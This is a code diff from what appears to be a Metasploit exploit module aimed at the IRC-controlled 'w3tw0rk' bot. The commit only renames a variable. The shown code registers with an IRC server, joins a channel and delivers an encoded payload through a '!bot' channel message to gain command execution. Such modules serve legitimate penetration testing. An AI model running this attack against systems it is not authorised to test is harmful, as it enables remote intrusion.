@@ -58,22 +58,22 @@ def initialize(info = {})
58
58
def check
59
59
connect
60
60
61
- response = register ( sock )
62
- if response =~ /463/ or response =~ /464/
61
+ res = register ( sock )
62
+ if res =~ /463/ or res =~ /464/
63
63
vprint_error ( "#{ rhost } :#{ rport } - Connection to the IRC Server not allowed" )
64
64
return Exploit ::CheckCode ::Unknown
65
65
end
66
66
67
- response = join ( sock )
68
- if not response =~ /353/ and not response =~ /366/
67
+ res = join ( sock )
68
+ if not res =~ /353/ and not res =~ /366/
69
69
vprint_error ( "#{ rhost } :#{ rport } - Error joining the #{ datastore [ 'CHANNEL' ] } channel" )
70
70
return Exploit ::CheckCode ::Unknown
71
71
end
72
72
73
73
quit ( sock )
74
74
disconnect
75
75
76
- if response =~ /auth/ and response =~ /logged in/
76
+ if res =~ /auth/ and res =~ /logged in/
77
77
return Exploit ::CheckCode ::Vulnerable
78
78
else
79
79
return Exploit ::CheckCode ::Safe
@@ -113,21 +113,21 @@ def register(sock)
113
113
msg << "NICK #{ nick } \r \n "
114
114
msg << "USER #{ nick } #{ Rex ::Socket . source_address ( rhost ) } #{ rhost } :#{ nick } \r \n "
115
115
116
- response = send_msg ( sock , msg )
117
- return response
116
+ res = send_msg ( sock , msg )
117
+ return res
118
118
end
119
119
120
120
def join ( sock )
121
121
join_msg = "JOIN #{ datastore [ 'CHANNEL' ] } \r \n "
122
- response = send_msg ( sock , join_msg )
123
- return response
122
+ res = send_msg ( sock , join_msg )
123
+ return res
124
124
end
125
125
126
126
def w3tw0rk_command ( sock )
127
127
encoded = payload . encoded
128
128
command_msg = "PRIVMSG #{ datastore [ 'CHANNEL' ] } :!bot #{ encoded } \r \n "
129
- response = send_msg ( sock , command_msg )
130
- return response
129
+ res = send_msg ( sock , command_msg )
130
+ return res
131
131
end
132
132
133
133
def quit ( sock )
@@ -139,15 +139,15 @@ def exploit
139
139
connect
140
140
141
141
print_status ( "#{ rhost } :#{ rport } - Registering with the IRC Server..." )
142
- response = register ( sock )
143
- if response =~ /463/ or response =~ /464/
142
+ res = register ( sock )
143
+ if res =~ /463/ or res =~ /464/
144
144
print_error ( "#{ rhost } :#{ rport } - Connection to the IRC Server not allowed" )
145
145
return
146
146
end
147
147
148
148
print_status ( "#{ rhost } :#{ rport } - Joining the #{ datastore [ 'CHANNEL' ] } channel..." )
149
- response = join ( sock )
150
- if not response =~ /353/ and not response =~ /366/
149
+ res = join ( sock )
150
+ if not res =~ /353/ and not res =~ /366/
151
151
print_error ( "#{ rhost } :#{ rport } - Error joining the #{ datastore [ 'CHANNEL' ] } channel" )
152
152
return
153
153
end
0 commit comments